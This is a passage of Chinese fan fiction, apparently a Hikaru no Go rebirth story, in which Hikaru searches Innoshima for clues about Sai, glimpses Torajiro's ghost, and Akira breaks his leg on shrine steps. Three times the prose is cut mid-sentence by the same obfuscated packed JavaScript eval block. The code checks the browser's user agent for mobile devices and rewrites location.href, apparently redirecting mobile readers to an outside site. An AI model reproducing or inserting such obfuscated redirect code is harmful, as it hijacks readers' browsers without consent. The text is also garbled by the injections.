“……好吃、健康、便宜,果然是美食的不可能三角。好吃又便宜的东西,他就不可能健康!健康又便宜的东西,他就不可能好吃!”光吐槽道,“加了这么多圆白菜,广岛烧都不能称之为广岛烧了!应该叫圆白菜烧!” “付饭钱的人可是我,你没有权限提出异议。”亮优雅地端起味噌汤,喝掉里面漂浮的海带和油豆腐。 “你这家伙……来啊!现在就下一局,要是我赢了,就要再去吃一碗拉面!还有碳酸饮料也要拉满!再来点油炸可乐饼!卡路里爆炸才好!” “多谢款待。” “喂!听人说话!” 到了旅店,钱包掌控者的支配地位就更明显了。塔矢亮仗着自己确实有钱,居然选择了就在海边的、一看就要为景观额外付费的高级民宿。入口走廊对面摆着一盆一看就造型独特的插花,看到那花器的瞬间,佐为就忍不住啧啧称赞起来。 “那是庆长的花器呀,小光!” “庆长?哦,那个很有名的陶艺家?”上辈子和佐为一起外出冒险时,进藤光记得自己曾为了那个花器和店主斗棋一场来着。 佐为好像完全接受了进藤光知道全世界的怪人的设定,一点也没意外:“没错!果然小光你也认识他!啊,这色泽,这材质,毫无疑问就是真品!价值连城的真品!” 平安时代风雅之士对围棋以外的花道、茶道、汉学都有涉猎,佐为也不例外。在这样博学多才的佐为面前,光总觉得自己像个一无所知的文盲。不过有一件事他是知道的,那就是能在客房前面摆上这种花器的民宿,它、绝对不可能便宜! “你确定你带够现金了吗,塔矢?”光赶紧凑到亮身边确认道,“待会老板该不会把我们扣下来当苦力吧?” “无需担心。这家店的大将也爱下棋,我已经答应免费陪他下几局指导棋作为谢礼了。” 光瞠目结舌:“你就这么把自己卖了啊?!” “这也是职业棋士的工作之一吧。” “说得好像你已经当上职业了一样!你还没开始给棋院打工呢!不要随便答应和陌生人私下对局!” 也不是光无端发火,上辈子塔矢亮就因为涉世未深,总是不擅长拒绝他人的请求,而被麻烦的狂热粉丝轻易骗去下指导棋、结果差点遭到人家绑架,还上了新闻,闹出过这么离谱的乌龙事件!他是不是对自己在围棋界的名气和人气毫无自觉? “我要睡了,明天还要早起吧。”亮的声音已经消失在了门后,“晚安。” “喂——” 纸门咔哒一声关紧,光这才无奈地发出一声叹息。 还好他们不用睡一间房,不然后面还不知要拌嘴到什么时候。看来电视剧里“只剩一间房”的艺术创作永远只是艺术创作。这样也好,他就不必在睡前聊天环节遭到塔矢亮更进一步的追问了。秀策的事,以及佐为的事,光其实一直想找人好好聊聊,要是亮追问几句,他可能会立刻把一切都交代在这。 海面传来淡淡的腥味,光打开阳台,仰头望着满头如棋子般密布的星空。这是东京绝对见不到的风景。 想想也是夸张,两个国中一年级的小孩,瞒着家长从东京跑来广岛看棋赛,还连续几天住在外面,万一他们真出了什么事,绝对会被当成安全教育的素材写进宣传材料里吧! 不过,说来也奇怪,自己好像有点习惯了,过这种“不一样”的生活。 在海浪催眠的洗刷声下,一整晚进藤光还是几乎无法入睡。他依旧在担心佐为,每隔一阵子都要确认一下这个幽灵还在不在身边。“佐为”、“嗯”、“佐为”、“嗯”的对话都反复进行了好几遍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938466|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 还好,佐为一直都在。 到了翌日清晨,光终于迷迷糊糊地睡着了,民宿提供的和式睡衣他穿得乱七八糟,腰带都卡在了被子和床铺之间、半天拔不出来,导致无法翻身,结果他还没进入深度睡眠,就被早已收拾完毕的塔矢亮叫醒了。这家伙,根本没有可以换的衣服,是如何做到看上去穿了一件新衣服在身上那样整洁的?! 当他问出自己的疑问后,亮有些不明所以地偏了偏头。 “这里有24小时干洗服务,进藤你不知道吗。” “不知道!我的阶层从不允许我在酒店花1000日元洗一件衣服!还不如买一件新的!” 难怪这家伙出远门只带一本秀策棋谱,能花钱解决的东西,他压根不用自己带!这就是阶级鸿沟!吐槽归吐槽,炸毛的光还是二话不说抓起背包就出发了。在出门前,光最后用疑问的目光确认了一下佐为的状态,得出没问题的结论后,便开始循着记忆,寻找上辈子去过的那些旧址。 一切都和自己15岁那年没有多大的变化。城镇的空气都是同样的感觉,水蒸气一般的焦灼,以及雨季里独特的粘稠。太阳正是狠毒的时候,一路辗转赶到石切风切宫神社前,光都隐约有些冒汗了。 “就是这里吗?”亮的头发也被汗湿得黏在了皮肤表面。 “应该是了。”进藤光伸手抹了把脸上的水珠,“今天的湿度得有90%了吧……” 佐为见状,慌忙伸出手去,似乎想触碰他的额头:“没事吧,小光?感冒还没好全,要是又生病了怎么办?” 见他这么紧张,进藤光一时有些说不出话来。 对方更加不放心了:“我们回去吧?呐?小光?” 神社里阴凉了不少,进藤光的脸色也精神了些。 “开什么玩笑,我一个正值青春期的健全男子国中生,要是因为出了点汗就晕倒未免也太骇人听闻了,哈哈。”及时恢复笑颜后,光冲佐为竖起大拇指,“完全复活!” 话是这么说,光走进神社的瞬间,心里的恐惧感只增不减。他如此固执地跑来因岛,想从秀策过去生活过的地方找到关于佐为的线索,万一最终还是一无所获的话,他不知道自己能否承受住“可能再一次失去佐为”的痛苦。秀策的纪念友谊赛他看过了,没什么线索,和桑原本因坊也对局过了,佐为没什么特别的变化,难道这里就没有其他事可以做了吗…… 请你和我一起,寻找答案吧,佐为……他默默在心中祈祷着。 然后,神社的工作人员替他们打开了宝物馆一角的玻璃柜。 “这就是秀策曾经用过的……那个棋盘?” 塔矢亮目不转睛地盯着接待他们的大叔从玻璃柜子里抬出一个质地古旧的棋盘。 “是的,本因坊秀策当年亲自用过的古棋盘,今天你们也算来得巧,原本是必须经过预约才能看到的,不过游客都去纪念馆参加本因坊秀策诞辰170周年的庆祝仪式了,这儿倒没什么人。”大叔很是嘚瑟地介绍着,把他们当成了两个很普通的棋童。 “虎次郎用过的棋盘啊。”光侧过脸问,“佐为,你看。” “哦……真是厉害……” 佐为两眼放光,焦点死死地汇集在棋盘上,十分用力地审视着什么。 马上,热切的笑容铺满了他的脸颊。 “没错,确实是那张棋盘。我记得,以前这里的神主非常喜欢虎次郎,常常邀他一起对弈。对了!我第一次与虎次郎相遇就是在神主大人家中,从棋盘里醒来的瞬间,一眼就能看到大片的红枫和海面。那场景美得摄人心魂。那个人还传授虎次郎围棋以外的汉文和儒学……帮助他上京,劝他去见浅野公,才让虎次郎得到更多机会同大阪的围棋高手对决,就像兄长一样。” 他一口气说了一大段话,健谈得格外反常。 从佐为的笑容里,不知为何,光好像看到了不清晰的泪花。 ●○●○ 77.Chapter 76. 虎次郎 “虎次郎也懂汉学吗?”光突然涌起了无限的好奇心。像现在这样面对面地亲耳听佐为讲述他们之前的故事,他此前可是想都没想过。 佐为微笑颔首,“当然。平安时代和江户时代的贵族都以精通汉学为荣,擅长吟诗作文者甚至能得到出仕的机会呢。后来将军大人倒台了,这些学问倒是没有用武之地了,围棋也是,虎次郎失去了经济上的支持,才会漂泊在外……最后不幸染上虎狼痢……” “这样啊。”光打断了他,以免佐为继续触景生情。 虎狼痢就是现代所说的霍乱,在当年是不治之症,可后来已经能很轻易地治好了。只可惜虎次郎生错了时代。光情不自禁地伸出手去,想要触及棋盘的表面,结果被眼尖的大叔厉声喝止了。 “喂!你在做什么,那是文物,不能随便乱碰的!” “对——对不起……”光忐忑地缩回手,像饿极了的猫看着一条鱼一样恋恋不舍地盯着那棋盘,又没有别的办法,只能眼睁睁瞧着大叔把棋盘放回了冰冷的玻璃柜子里。 亮同情地看了他一眼。 “咦,不能摸吗?”佐为也念念不忘地嘟囔着,“明明只是个棋盘而已嘛,太小气了……” “就是!” “而且还是我曾经下过棋的棋盘,有什么好稀罕的。” “说得没错!” “将来小光用过的棋盘肯定会比它更值钱!” “这……听你这么一说,我还真有点心动了,佐为,我们回去好好挑几个棋盘,免得以后拍卖还没资本。” “好耶!一定要卖得比它更贵!” 一人一魂就这样气冲冲地走出了神社,无奈的亮只好替他们好好道了歉又快步追上去。留下看管棋盘的大叔莫名其妙地眨巴着眼睛。 “嗯?他们两个到底是来做什么的?” “等等,进藤……” 亮在身后追着光的脚步。但进藤光气呼呼地越走越快,他一时还没能追上。 因为此时光还在思考别的事情。 “佐为,你就没有什么特别的感受吗?”光拉紧书包背带,焦急地朝佐为确认着,“那可是你用过的棋盘哦,有没有和我家那个浮木盘一样的感觉?就像是‘能住进去’、‘沾过虎次郎的血’、‘能通灵’,这样特别的感觉?” 佐为不明所以地望着他:“特别?嗯……特别令人怀念?” “除了那个‘特别’以外啦……” 光满脸期待地看着他,佐为却轻轻摇头道:“我不太明白,小光指的特别……到底是什么特别呢?” 那还用说吗,当然是……和灵魂即将消失有关的感觉啊! “……” 光嗫嚅着嘴唇,还是说不出口。如果告诉佐为他真的有一天会消失的话,自己要如何面对他?在内疚中接受佐为“没关系”的原谅,然后假装无事发生吗?那样也未免太残忍了!自己也不愿让佐为生活在整日提心吊胆的不安中,这样不安的有自己一个人就够了。 接下来的一天,他们陆续继续拜访了与秀策、与围棋相关的所有地点,但佐为始终在摇头。 一无所获啊。 夕阳渐渐把天空渲染成红色,无与伦比的美丽迷离视线。越是灿烂的景色,越是令人伤感,就像又一个希望被抽走一样。最后,他们还是兜兜转转回到了原先的起点,这座有秀策墓碑的神社附近。 如果说哪里看起来比较像有鬼魂出没,那应该只有这里才对。桑原老师给的地图肯定不是偶然。 排除了所有错误答案,剩下的就是唯一的可能性。 “对不起,小光,我什么都感觉不到。”佐为又在道歉了。 光连忙挤出一个微笑:“没事,我们不是也看到了很多新鲜的风景嘛。走啦,佐为!等我再去求个护身符,我们就回东京!” 他或许有点失望,但并没有失去前进的动力。 至少,在这片土地上,他找到了佐为和虎次郎一起的回忆,知道了关于虎次郎的过去的故事,也见到了虎次郎传承下的围棋。这就已经是一件相当可贵的事情了。如果可以的话,他以后还想了解更多,关于佐为的过去、虎次郎的过去,以及他们的棋、他们的每一次对局……一直到走遍天涯海角为止。 虎次郎没能下完的棋,他会替佐为下完。 进藤光自己的棋,他也会好好下完。 带着“本因坊”的头衔一起,让更广阔的世界……听到他们的声音。 然后让历史记住“进藤光”的名字,和他下出的神之一手。 这就是他全部的心愿。 “呼。” 心里想的事情杂七杂八的,让进藤光的脚步也变得缓慢起来。也许是一时间成功地被旅程岔开注意力,塔矢亮并没有回头,独自走在前面,离他尚有一段距离。片刻过后,光又加快脚步追上去,走着走着却又慢了下来。 怎么……感觉好像越来越炎热了?难道海边也会有这么讨厌的天气? 穿过门前的小山时,两侧的绿植渐渐变密集,他的视线也暗淡了很多。原本直射着双眼的阳光突然消失,让他不自觉地眨了眨眼睛,清醒之后才瞟见路边有整齐排列着的石灯,如今这年代这样的旧东西也只有在大户人家或者乡下的小街道旁边才能瞧见,光猜想,他们是到达神社以外的子神社附近了。傍晚过后,石灯或许会有点灯仪式,但暂时这里还空无一人。 “咦,奇怪,这附近有岔路吗?” 他停下前进的姿态,翻了翻桑原老头给的地图,很可惜,上面没有画出对应的路径。 “怎么了,进藤?”亮似是终于察觉到光的异样,半侧过身,问。 “没啥。”光往上拉了拉书包带,一股不拘小节的气质扑面而来,“我们回去吧!就是不知道这个点还能不能约上新干线指定席啊……” 话在喉咙里卡到一半,他抬起眼,好像看见前面有什么亮晶晶的东西,正在散发出淡淡的金色光芒。 那光芒在没有阳光照耀的树荫里格外显眼。 “嗯?” “什么?”亮顺着他的目光向前望去,有些莫名其妙,“有什么不对吗?” “那应该不是太阳光吧。”进藤光揉揉眼睛,刚刚那片光晕又消失不见了,一切都只是短暂的一瞬间,以至于他怀疑自己是不是因为热过头了而产生了错觉。直到佐为用夹杂着兴奋的语调惊呼出声: “小光!那里有奇怪的亮光!” “诶?!” 光定睛一看,方才弱得几乎看不见的光芒又像退晕一样扩散开来。 没错,确实是有什么东西在那! 想到这里,他的大脑强烈地震动了一下。 自己能感觉到,佐为也能感觉到,但是塔矢却感觉不到?除了跟自己来此的目的有关的东西以外,他很难联想到其他的可能。 心里抱着一试的希望,他脚下的步子便迈得飞快,生怕这微弱的亮光在他抵达之前就又消失掉了。 转眼间就在树丛遮挡下脱离了亮的视线。 “等等、进藤……” 亮还是一副什么也不清楚的模样,只见进藤光受了刺激一样飞奔而去,根本没来得及追问什么,对方就已经离开了自己能够触及的范围。 留下他一个人立于原地,只能不明所以地往前追赶。 而此刻的光,正在接受来自大脑的一波又一波的热浪,仿佛被某种滚烫的温度炙烤着,呼吸越来越急促。 快点…… 快点,再快一点……! 就在那里! 进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958022|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 藤光能感觉到自己的心跳急剧加速,太阳穴被上涌的血气充得生疼,不知是因为紧张还是因为害怕。以前,就算是和塔矢名人对局的时候他都很难出现这样猛烈的反应。再世为人,他对任何意外都能平静接受,只有与佐为有关的事,还能像这样牵动他如此剧烈的情绪。 “——到了!” 他刹住脚步,大口大口地喘着气。那光芒已经近在眼前,然而光才刚看见它大概的轮廓,它便漂浮着后退到了树荫以外,混杂在刺眼的阳光之中,踏出蝉鸣包裹的黑暗时光反射性地眯起眼。 奇怪的是,等到他再度睁开眼,就再也找不到那光芒的所在了。 “怎么……会……” 在明亮的地方寻找稀薄的亮光本来就难上加难,更何况人在极度紧张下根本无法保持理性。 他跟丢了! “可恶!” 光急切地环顾着四周,却什么异样也找不到,从脚边的石阶往山下望去,只能遥见镇子里的几座建筑和一片墓地,再普通不过,毫无异常。懊恼的情绪无法用言语来表达,他不死心地继续搜寻着可能的线索,完全将身后的亮抛之脑后。 明明发现了异常,只差一点点就能看清那是什么…… 就差一点点了啊! “佐为,你有看清刚才那个家伙是什么东西吗?” 带着最后的一丝希望,光昂起头,询问身边的幽灵。 “小光。”佐为的声音竟然颤抖起来,光反射性地抬起头,佐为的话不仅被无限放大、而且还一字不漏地传入他的耳朵, “如果我没有看错的话,刚才的那个人……” 佐为细长的睫毛在阳光下闪闪发亮,掩住了他眸子里沉眠的忧伤。 “刚才的那个人……就是虎次郎。” “……诶?!” 光的瞳孔猛的一缩,脑中的锁链似乎在霎那间碎去,留下了一片空白。 再试图思考时,全身的血液就像被冻住一样,让他浑身僵硬,无法呼吸。 “虎次郎?!” 虎次郎?不可能吧,要是虎次郎也成了幽灵的话,按理说……按理说……不应该早就遇见过佐为了吗? 还是因为佐为一直沉睡在棋盘里所以他才没能与佐为相见? 不,在那之前,要是虎次郎也是幽灵的话,他又是因为什么执念而留在人世的呢? 他来不及惊讶多久,右边的坡道上浮现出隐约波动的痕迹,来了!不管怎样先找到那个人影再说,这样想着,进藤光咬牙向前跨了一大步。 “等一等!” 他实在害怕失去这最后的机会,愈加放开了声音,期盼着来自彼方的回应。 “虎次郎?喂——” 高吼出声的同时,他没有注意到脚下的石阶,竟一股脑向着半空中纵身跃去。 进藤光失去了理智。 塔矢亮可没有。 他看到对方突然疯了一般地往石阶上跑去,也是吓了一跳。 “——进藤!” 亮只比他迟了一步,见状,连忙条件反射般地伸出手去想要拉住他的手腕。 然后发生的好像是比记忆所能映射的速度还要快的事。进藤光勉强稳住了身子,而塔矢亮在抓住他之后,还未来得及说完已到嘴边的“没事吧”,就因精神突然放松,右脚向后踩空、失去平衡。 瞬间向山下坠去。 光惊愕地瞪大了双眼,他当然下意识想要帮忙,然而好不容易才找到平衡的身体,根本不可能在这么短的时间里再次往前靠近,最后的刹那,他只能眼睁睁地看着亮的手指距离自己的越来越远。 那一束墨绿色的发丝在阳光下反射出强烈的光芒,刺痛了双眼。 “——塔矢!!!!” ●○●○ 78.Chapter 77. 挚友的约定 撕心裂肺般的尖叫。 他根本无暇顾及虎次郎的事了,现在除了恐惧之外,他什么也感受不到。 重物落地的声音,以及滚动的声音,塔矢亮的身体重重跌落在最后一级石阶上,万幸的是似乎没有伤到头,但是他的腿弯折在一侧,骨头似乎扭曲去了相反的方向,膝盖也被带棱角的石块砸出血来,看着十分渗人。 心急如焚的佐为比光更快地飘到了亮身侧,看见他的伤势,佐为露出了不忍的神色。 “塔矢好像伤得不轻,小光……怎么办?怎么办?!” 这时进藤光才一脚深一脚浅地跑下了楼梯,其间还好几次因为着急迈过了多个台阶,差点就又扭到脚,但情急之下他哪里管得着那么多,只满心想着尽快赶到朋友身边。大脑嗡嗡作响,混杂着恐惧、忧虑和自责的感情纠缠在一起,让光说话的时候牙齿都在打颤。 “喂,塔矢!塔矢!!” 世上怎么会有如此危险的台阶!建在山上不说,还有这么多杂乱的砖石!还年久失修、没人维护! 不,不对!世上怎么会有他这样的大笨蛋!一着急就不看路,连累塔矢受了伤!都是他的错! 是他的错! “……唔。” 塔矢亮的意识并没有脱离,他撑着石阶的手青筋暴起,牙齿也紧紧地咬着下嘴唇,整个人虚汗淋漓,显然是已经疼得快要晕厥了。 骨头都错位了,想想都痛不欲生!光不忍心直视那伤口的样子,只能慌忙从亮身上摸出手机。 “你怎么样?!千万别乱动!”光还是第一次遇到这样紧急的情况,直接乱了手脚,他从没想象过最重要的友人会在自己面前受伤,始作俑者还是自己,“我现在就叫救护车,你稍微忍一忍……” “腿。”亮从牙缝里硬是挤出几个字来,脸色白得可怕,接下来的话比起诉说更像是痛苦的惨叫,“扶我……躺……下来……好像骨折了……” “不行!现在改变姿势的话说不定会造成二次伤害!” 说话间,光的袖子被亮死死拽住。 “进藤……你到底……看见了什么……?” 亮因为过于疼痛,每个字之间都要间隔好几秒才能顺利说出口。为什么到了这种时候,他还在想着进藤光的事?!光拼命抑制着内心的不安,明明他只是在寻找解救佐为的办法,却发生了这样的意外……简直让他内疚得快要疯狂。但是在亮的面前,他绝不容许自己露出怯懦的表情。那样只会让亮也心生恐惧。 “我会告诉你的。全都告诉你。”光咽下嗓子里的颤音,重重地点了点头,“我听到救护车的声音了!我们先去医院!” 不久后。因岛综合病院。 一名身着旧式和服的中年男人匆匆走进大厅,他的身后跟着一位美貌的中年女人,女人的脸上挂着焦急的表情,而男人只是显得特别沉重,当他开口的时候,连护士小姐都被吓了一跳。 “请问,这里下午有一位少年被送过来吗?” “是、是的,如果您是指那位伤了腿的孩子的话……”护士回答。 “他现在在哪儿?”女人担心地追问道。 “你们两位是他的家属吧?他已经做完手术了,在301病房里休息,有个黄色头发的孩子一直陪着他。” 护士的话让男人立刻加快脚步向楼梯口走去。 “啊……探病的话需要在这里登记一下……” 很遗憾,护士的叮嘱晚了一步,两个心切的父母已经消失在她的视野里了。 空气寂静得发闷。就像冰库。 进藤光怎么都去除不了心脏里沉痛的感觉,只觉得时间似乎都要停止,眼皮像灌了铅一样折磨着他的意志,他却半点也不想陷入睡眠状态。面前躺着的人刚从手术室出来,还没完成接骨,医生说是如果不消肿的话,立即手术可能大出血,所以只给他做了简单包扎止痛,现在他需要静养一段时间等皮肤消肿,才能做后续处理。 “结束麻醉之后,病人大概晚上就会清醒过来,请安抚好他的情绪,不排除剧痛导致精神不安的可能性,有必要的话请通知护士补充止痛药。”医生又补充道。 想到这里,光觉得无论如何自己也不能就这么睡了,要不然亮一醒过来,又得手忙脚乱。 自从塔矢亮不小心摔下石阶已经过了多久?五个小时,不,六个小时,还是更长?他无心关注其他的事情,只自责地守在病床边,一边回忆当时的情景,一边望着佐为忧心忡忡的脸。 “小光……” “我没事。” 他对佐为露出了一个很勉强的微笑。 “没想到塔矢会出现这样的意外,这不是你的错,虎次郎他……如果那个人真的是虎次郎的话,一定也不希望这样的事发生。” 佐为心疼面色发灰的光。这个孩子,一直非常重视塔矢亮的存在,如今一时的大意害他受伤,肯定早就在心里把自己骂得体无完肤了。 “到底是为什么呢?”光却在喃喃自语。 “诶?” “为什么……虎次郎会在那里?” 如果不是因为虎次郎的突然闪现,他也不至于跑去危险的大石阶边上,塔矢也不至于为了拉住他而失足跌倒了。 当然,这并不意味着塔矢亮的受伤是虎次郎的错。只是,进藤光怎么想都觉得不理解而已。 “就算你这么问我……”佐为也对此一无所知。 他在秀策死后就立刻沉睡在棋盘里,当然不可能知道秀策的灵魂的事。 进藤光闭上眼,疲惫地揉着额头:“太奇怪了……我记得地图上那一片区域是没有其他神社的。本来我只是觉得地图漏写了,后来我又想了想,既然佐为你这样的幽灵都能存在,也许那个神社本身……就是虚假的东西。” 那个小小的神社,就像异世界的建筑一样。 如果它不属于这里的话,那么,发生什么奇异事件都不值得大惊小怪了。 这个问题很重要。他不知道这次与虎次郎的相遇是不是偶然,但是毫无疑问这是他上一世所未曾接触的事件,也许一切的转机皆在此处。 门外传来急促的脚步声。不止一个人,应该是两个人的脚步声。 是谁?好像在朝这边走过来。 “唰——” 门被强有力的大手拉开,进藤光抬高脖子,看到塔矢行洋和明子二人带着复杂的表情站在门外,目光相接之际,光意识到自己正面对着有愧之人的父母,便下意识地挪开了视线。他还没有那么无耻。 “塔矢老师,明子阿姨,你们来了。” 他还能假装冷静地说话,就已经很不容易了。 “进藤君……”塔矢行洋看着他狼狈又苍白的脸色,没有多说什么。 尽管他什么都没说,光却感到了巨大的压力。无形,却十分切实的压力。 “小亮,小亮他情况怎么样了?” 塔矢明子首先跑进病房,在亮的床前双膝着地扶着床沿弯下腰。她仔仔细细地审视着儿子的全身,只有腿上绑了绷带,好像稍微松了口气。 “对不起,都是我没照顾好他……”进藤光低下了头。 “只是骨折吗?” “是。大夫说过几天做手术,半年以后取出钢板就能痊愈了,不会留下什么后遗症。” “那就好。”塔矢行洋意味深长地点了点头。 那就好? 不知为什么,光顿时更感内疚了。站在塔矢行洋的跟前,他总会产生自己是犯罪者的恐惧感,他毕竟也是一个父亲,最看重的人就是自己的儿子。而这个最重要的儿子,由于任性来到因岛、又任性跳出石阶的进藤光的缘故受伤了。 换作是进藤光,一定会气得想痛打这个罪魁祸首一顿。 但是塔矢行洋似乎并没有生气。 他越是冷静,光就越觉得心里麻麻的,不是滋味。塔矢老师这样宽慰自己,还不如直接揍自己一拳来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984017|139277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得轻松! “啊,小亮他醒了!”突然,明子惊喜地捂住嘴,叫了起来。 光连忙扭过头去查看亮的情况,亮艰难地抬起眼皮,挣扎着想要坐起来,不过很明显,那对于他而言是不可能完成的任务。明子焦心地抚摸着他的脸颊,呼唤他的名字,让他先稳住情绪不要乱动。 “母亲……” “是我。你父亲也在,进藤君也在。” “……是吗。进藤?” “塔矢……我……”光听到自己的名字,想着不管怎么样总得解决这个问题,硬着头皮走近几步,直到亮能够得着他的地方。 “你没事吧?” 虚弱的语气,模糊不清的神情,亮拼命地理清思路的样子让他一下子心软下来。 光嘴角发涩,眼眶里也漫起一层雾气:“傻瓜!有事的明明是你,就不能用脑袋想想再说话?” 亮还是老样子,死撑着也不肯表现出自己软弱的一面,眉头都皱成一团了,还不肯叫出声来:“……我……什么时候能完全恢复?” “很快。过几天做手术,一周后就能回家。” “一周……一周吗?”亮的眸子亮了一下,又暗淡下去,“确实很快。只可惜,还是会错过职业考试的前两场比赛啊。” 进藤光的心里“咯噔”一下。 他怎么就没想到这个问题,职业考试正赛迫在眉睫,原本他们私自来因岛就有点浪费时间的意味,这下可好,亮参赛的机会都被尽数剥夺了。 亮那么厉害,一定会在这次击败除光以外的所有对手成为职业棋士的。要不是自己一时大意…… “你那是什么表情,进藤。”亮早就洞悉了光的不安,他露出各位信誓旦旦的神情,似乎已一切意外都只是前进方向上微不足道的磨炼,“我反而觉得运气太好了,只错过前两场的话,我还是能通过职业考试。” “啊?”光呆住了。 “因为你会全胜,而我会击败前两场以外的全部棋手。以往年的胜率来看,我依旧可以拿下职业名额的一席。” 这充满自信的分析。果然是那个从不示弱的、执着于每一次胜利的塔矢亮。 光一时不知该夸奖他意志坚强、还是批评他“都这种时候了还只想着围棋”。明明都伤成这样了!现在正是最痛苦的时候,拜托他,能不能先考虑考虑自己的身体! “但是万一……” “万一?你对自己的实力没自信吗,进藤。”是他的幻觉吗,塔矢亮这家伙,甚至好像在微笑,“即使退一万步,合格与否也并不重要。反正,和你对弈就像天天和高段棋士下棋一样,比职业手和赛有意思多了。” 这么说真的合适吗?!进藤光真想剖开他的脑袋好好研究一下,看看他到底在想些什么乱七八糟的东西。 “塔矢!” “反过来说,后续的所有对局都容不下任何失误了。我会赢的,进藤。每一局,都会赢。” 他的语气格外笃定。 经历这次的劫难,亮眼睛里的斗志并没有消失,反而愈加强烈了。 这让光深感佩服的同时,又忍不住被他挑起了竞争欲。 “哼!那我也一定会全胜合格!绝对不给你击败我的机会!” 两人互相较劲的样子,让前来探病的塔矢行洋心中也放下了最后的不安。看来,年轻人们自己就足以处理自己的事了,他只要在远方默默守护他们就够了。 第二天清晨,进藤光比预想中的更早些睁开了睡眼。心事满满地压在胸口,闷得他无法沉眠,想想也是,昨天发生了那么多事他怎么可能安稳入睡呢。吃完便利店的早饭后,他前往塔矢亮的病房进行简单告别,就决定踏上归途了。 临走前最后一刻,亮叫住了他。 “进藤。” “嗯?” “你还没有告诉我,那个时候……你为什么要往石阶上跳?” 亮还是问出了这个最重要的问题。 79.Chapter 78. 藤崎明要考院生? 夜晚,他在被伤口的痛处疼得睡不着觉的时候,一直在思考这个问题。 虽说是出于直觉救了进藤光,但亮对于自己的处境依旧耿耿于怀。他绝对不觉得那只是光一时兴起想玩个山间跳跃。结合进藤光来到因岛的理由来看,也许是他发现了什么秘密也不一定。 “嗯……”光似乎还在犹豫该如何解释,“说来话长……” “你看见了什么奇怪的东西了吗?”塔矢亮进一步追问。 他真是敏锐。敏锐,而且直接。 就像上辈子的塔矢亮一样。 进藤光突然觉得,自己不应该再回避下去了。不管怎么说,塔矢亮都为此受了这么严重的伤,他有权知道真相。亮作为朋友,真心实意地关心着进藤光,他也有资格知道真相。 “是啊……那个时候,我看到了一道光。” 犹豫片刻后,他如实说出了当时发生的事。 “光?” “对不起,你可能听不懂我在说什么吧?”进藤光尴尬地笑了笑,“和我来这里的原因有关系。” 亮敏锐地察觉到了一丝端倪。 “和秀策有关吗?” “也许是,也许不是,我也不太确定。这个故事要展开说的话,一时半会解释不清楚。但你放心,在职业考试结束之后,我会重回因岛调查,再和你说详细的前因后果。在那之前你先好好休息。” 进藤光说到了一半,最终还是没能把佐为的事说出口。 他决定趁职业考试的时候整理一下心绪。等到考试结束了,他打算告诉佐为自己曾经经历的过去,那时候说不定,也是告诉塔矢亮这些事情的最佳时机。 亮顿了顿,没有继续追问。毕竟职业考试正赛就在眼前了。光必须立刻赶往东京。 光很感谢他的体谅。 “你一定要好好休息哦!一定哦!实在想下棋了就打电话给我哦!不管什么时候我都会陪你下的!”于是,在出门之前,他最后这样叮嘱亮道。 病床上的塔矢亮对他挤出了一抹微笑。 “我知道。再见,进藤。” “再见,塔矢。” 金色刘海的少年离开病房后,病房彻底安静下来,亮的视线微微向左移动了数十厘米,最后停在一堵空白的墙面上。 “……你也差不多该现身了吧。”他平静,却也格外不平静地对着空气说出这番话,“进藤那时看到的人物,就是你,没错吧。” 在亮的质问下,白墙上渐渐浮现出一抹淡得几乎透明的影子。 月代头的青年幽灵似乎有些意外。他原以为这席话并非说给自己听。然而,那双墨绿色的眸子,确确实实是在紧紧盯着自己。 他最初、也是最后一次发出了确认: “咦?你能……听到我的声音吗?” 趁着天色尚早,进藤光登上返程的新干线,顺利抵达了东京。 从池袋东口的车站走出来,正好能看见一家新开的围棋会所,就在车站对面的大楼的六层。最近,周围的人对围棋的兴趣似乎在逐渐提升,进藤光觉得这是件好事,虽然他也不知道为什么大家会开始关注这个冷门的智力游戏。 小时候,他可是对围棋没有半点好印象的。一提起下棋的人,就觉得那肯定无聊透了,正常的小学生才不会去学那种死板孤僻的东西呢! 既然他都这么想,就意味着肯定还有其他人也这么想——而且绝非少数。 塔矢行洋去中国以后,他留下的诸多头衔也成为了棋士们惨烈争夺的对象,所以关于围棋的新闻渐渐多了起来。另外,进藤光以“最有潜力的小棋手”的名义频频出现在各种网络八卦上,前几天《围棋周刊》还把他在因岛遭到桑原本因坊夸赞的事迹写上了新闻,一时成为了不小的话题。 还好桑原老师没对外告知那一局对弈的结果,不然,佐为赢了桑原本因坊的事恐怕会以“进藤光”之名掀起又一次的轩然大波吧。 明天就是职业考试了,他一定会全胜而归。 为了成为配得上这个名号的人,也为了塔矢亮,他必须赢。 “小光?” 